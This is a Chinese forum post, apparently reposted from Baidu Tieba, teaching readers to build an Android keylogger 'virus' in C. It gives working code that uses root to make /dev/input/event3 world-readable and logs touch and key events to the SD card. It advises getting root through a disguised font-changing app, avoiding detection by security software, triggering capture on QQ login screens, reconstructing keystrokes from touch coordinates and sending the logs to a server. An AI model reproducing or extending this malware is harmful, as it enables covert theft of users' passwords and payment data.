转自百度贴吧
今天清明放假,给大家来写一下教程(在手机上码了一个下午)。
也是一个简单的病毒教程,首先此帖仅限技术交流,如何你有什么不良目的,或者想盗号,那么请绕道

我们要写一个记录键盘输入屏幕记录状态。
你不可能让别人去装个c4droid,也不可能让人家去安装你导出的终端程序吧?
要想做一个完整的病毒,你需要NDK开发知识。
我现在提供的只是一个方法,具体让病毒如何去实现,你就得放入你的程序中。
安卓的上层是用JAVA写的,而底层则是用C来写的,而上层没有给C提供接口,
既然这样,那么我们就直接用C去操作底层。
所以,必须得有一个条件,那就是root,
没有root的话不行,你可能会说那还有什么用?谁会无缘无故给你root?
你可以换位思考一下,既然要root,
那么我就写一个root的软件,比如更换字体等等的软件,在用户给root的时候,
那你病毒就有机可呈了(咳咳,还是提醒,不良目的者绕道),这就是安卓的恐怖之住,
大家使用其他软件也注意了。
你可能还会有一个疑问,就是那我直接用JAVA写不更方便吗?
不用root,有系统提供的API,用C语言不是多此一举?
那你错了,你无缘无故去读取键盘记录,你当安全软件都是摆着而已吗?
直接用JAVA安全软件必定会拦截。而用C语言不同,直接去操作底层系统文件,
软件很难擦觉到(反正我试验了一下lbe是检测不出来的)


现在开始进入正题,我们在c4droid写个模,到真正做为病毒还需要利用JAVA。


安卓的触摸事件,还有按键事件是放在dev/input这个目录的,所以我们要操作的是这个目录的文件。其中我们输入的记录也会记录在里面,这时,我们就要写一个循环来不断的监听按键触发情况。


看到dev/input这个文件夹,我们会看到 event*,mouse*,mice这些文件,同时我们也要注意这点,每个input里面的文件都不一样,有的有到event5,而且是event0,event1,event2,event3,mouse0,mice。每个手机的储存也不一样,大多数手机会储存在event0这个文件,只是大多数,有的不是。现在我们在c4droid上测试一下自己手机是哪个。


写下面的测试程序,写完以后运行,然后会获取信息,这时你要不停的点击屏幕,看看会输出哪个的值,我是event3有变化,所以我手机需要读取event3。

#include <stdlib.h>
int main()
{
system("getevent -c 20");
return 0;
}




这个方法只适用于测试,真正用户不会去点击给你知道的,那么我们要怎么办?
那我们就需要写个DIR文件指针,然后把input文件夹写入到链表中,再写个线程自己写函数判断……(嗯。。。至于这个函数要怎么写呢,这步我思路就提供到这里,剩下的自己想,免得全部说出来有人拿去做坏事)

OK,知道触摸事件是哪个文件之后,我们开始写读取函数。




这个方法只适用于测试,真正用户不会去点击给你知道的,那么我们要怎么办?
那我们就需要写个DIR文件指针,然后把input文件夹写入到链表中,再写个线程自己写函数判断……(嗯。。。至于这个函数要怎么写呢,这步我思路就提供到这里,剩下的自己想,免得全部说出来有人拿去做坏事)

OK,知道触摸事件是哪个文件之后,我们开始写读取函数。




再看看部分type值

//EV_SYN同步事件
//EV_KEY键盘事件
//EV_REL相对坐标事件,用于鼠标
//EV_ABS绝对坐标事件,用于摇杆
//EV_MSC其他事件
//EV_LEDLED灯事件
//EV_SND声音事件
//EV_REP重复按键事件
//EV_FF受力事件
//EV_PWR电源事件
//EV_FF_STATUS受力状态事件

关于type和code具体值请看头文件input.h

我们把结果储存在SD卡EventRecord.txt中。




第一步,先写个记录时间函数,我们不用input_event里面提供的。

/* 获取系统时间 */
char *GetTime()
{
static char ch_time[40];
time_t t;
struct tm *nowtime;
time(&t);
nowtime = localtime(&t);
strftime(ch_time, sizeof(ch_time), "触发时间:%Y-%m-%d %H:%M:%S",
nowtime);
return ch_time;
}
时间函数完成。




第二步,开始读取

/* 定义读取缓存 */
#define BUFF 32

/* 读取事件驱动返回结果 */
static int fd = -1;
/* 输入事件结构体 */
struct input_event event[BUFF];

/*更改权限*/
system("su -c chmod 666 /dev/input/event3");
fd = open("/dev/input/event3", O_RDWR);
if (fd < 0)
{
fputs("读取失败!\n", fp);
return -1;
/* 读取失败直接结束 */
}


第三步,开始获取

int readResult;
/* 读取 */
readResult = read(fd, event, sizeof(struct input_event) * BUFF);

/*没有事件,直接返回*/
if (readResult < sizeof(struct input_event))
{
return;
}
/*过滤手指抬起事件*/
if (event[0].value == 0)
{
return;
}

发下7楼的图,忘了发了
1.jpg




这样就完成了一个程序读取,我把它合并起来


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <linux/input.h>

/* 定义读取缓存 */
#define BUFF 32

/* 记录 */
static int RECORD = 1;
/* 储存文件 */
static FILE *fp;
/* 读取事件驱动返回结果 */
static int fd = -1;

/* 输入事件结构体 */
struct input_event event[BUFF];

/* 获取系统时间 */
char *GetTime()
{
static char ch_time[40];
time_t t;
struct tm *nowtime;
time(&t);
nowtime = localtime(&t);
strftime(ch_time, sizeof(ch_time), "触发时间:%Y-%m-%d %H:%M:%S",nowtime);
return ch_time;
}

void GetEvent()
{
int i, readResult;
/* 读取 */
readResult = read(fd, event, sizeof(struct input_event) * BUFF);
if (readResult < sizeof(struct input_event))
{
return;
}
if (event[0].value == 0)
{
/* 过滤抬起事件 */
return;
}
fputs(GetTime(), fp);
fputs("\n", fp);
for (i = 0; i < readResult / sizeof(struct input_event); i++)
{
fscanf(fp, "Event%d:type: %3d code: %5d value: %5d\n", &i,
&event.type, &event.code, &event.value);



fprintf(fp, "Event%d:type: %3d code: %5d value: %5d\n", i,event.type, event.code, event.value);
}
}

int main(int argc, char *argv[])
{
fp = fopen("/sdcard/EventRecord.txt", "wb");
/*更改权限*/
system("su -c chmod 666 /dev/input/event3");
fd = open("/dev/input/event3", O_RDWR); //具体根据自己手机修改
if (fd < 0)
{
fputs("读取失败!\n", fp);
return -1;
/* 读取失败直接结束 */
}
while (RECORD)
{
GetEvent();
}
close(fd);
fclose(fp);
return 0;
}



一个监控程序就完成了,我把RECORD设置为了1,程序会一直读取,这样产生的文件很大,我们也无法获取正确信息。真正病毒我们不能这样,上面做法我们只是用来测试,如果是真正病毒,我们需要调用上层JAVA来控制,我们如何去过滤用户的垃圾事件?剩下的就是交给JAVA了,我们要在上层监控用户状态,还有键盘状态,例如键盘是否处于展开(这个安全软件是不会报毒的),还有判断当前屏幕的Activity状态,例如处于QQ的登入Activity就开始记录,如果是处于聊天Activity,那么就没必要了。我们可以把结果发送到服务器,发送到自己邮件等等都可以,上面为了测试,我保存到了本地文件中。




我们来测试一下,运行上面的程序,然后点击主页键后台,直接去找EventRecord.txt这个文件并打开,我们就可以看到我们从中所有事件了。我的部分记录结果楼下


触发时间:2014-04-03 14:09:47
Event0:type: 1 code: 330 value: 1
Event1:type: 3 code: 48 value: 9
Event2:type: 3 code: 53 value: 367
Event3:type: 3 code: 54 value: 392
Event4:type: 3 code: 58 value: 9
Event5:type: 3 code: 57 value: 0
Event6:type: 0 code: 2 value: 0
Event7:type: 0 code: 0 value: 0
触发时间:2014-04-03 14:09:47
Event0:type: 1 code: 330 value: 1
Event1:type: 3 code: 48 value: 19
Event2:type: 3 code: 53 value: 383
Event3:type: 3 code: 54 value: 405
Event4:type: 3 code: 58 value: 19
Event5:type: 3 code: 57 value: 0
Event6:type: 0 code: 2 value: 0
Event7:type: 0 code: 0 value: 0
触发时间:2014-04-03 14:09:48
Event0:type: 1 code: 172 value: 1
Event1:type: 0 code: 2 value: 0
Event2:type: 0 code: 2 value: 0
Event3:type: 0 code: 0 value: 0
触发时间:2014-04-03 14:09:49




这个怎么看呢?我们只需看看Event0的,code就行了(每个手机可能会不一样,这个不影响),例如code==330表示触摸时间,而event2、event3的value值就是我们触摸的坐标,在有的手机系统中,会直接记录软键盘输入(这样我们就放变多了),但是有的只有code==330触摸跟按键记录,不会记录软键盘(至少我手机不会,我在电脑安卓模拟器直接给出按键值),这也难不倒我们,我们知道了触摸坐标,那还怕什么?用上层JAVA判断用户的输入法软件名称,还有占用高度,再根据坐标值计算(可能成功率会降低)。




现在看了这个,是否产生了恐惧感,其实黑客想获取你信息,方法很多,也只是一瞬间的事,比如你在手机上支付等等也会被记录,操作底层文件是安全软件最难察觉出来的。




上面程序链接
http://pan.baidu.com/share/link?shareid=4273048507&uk=2905224086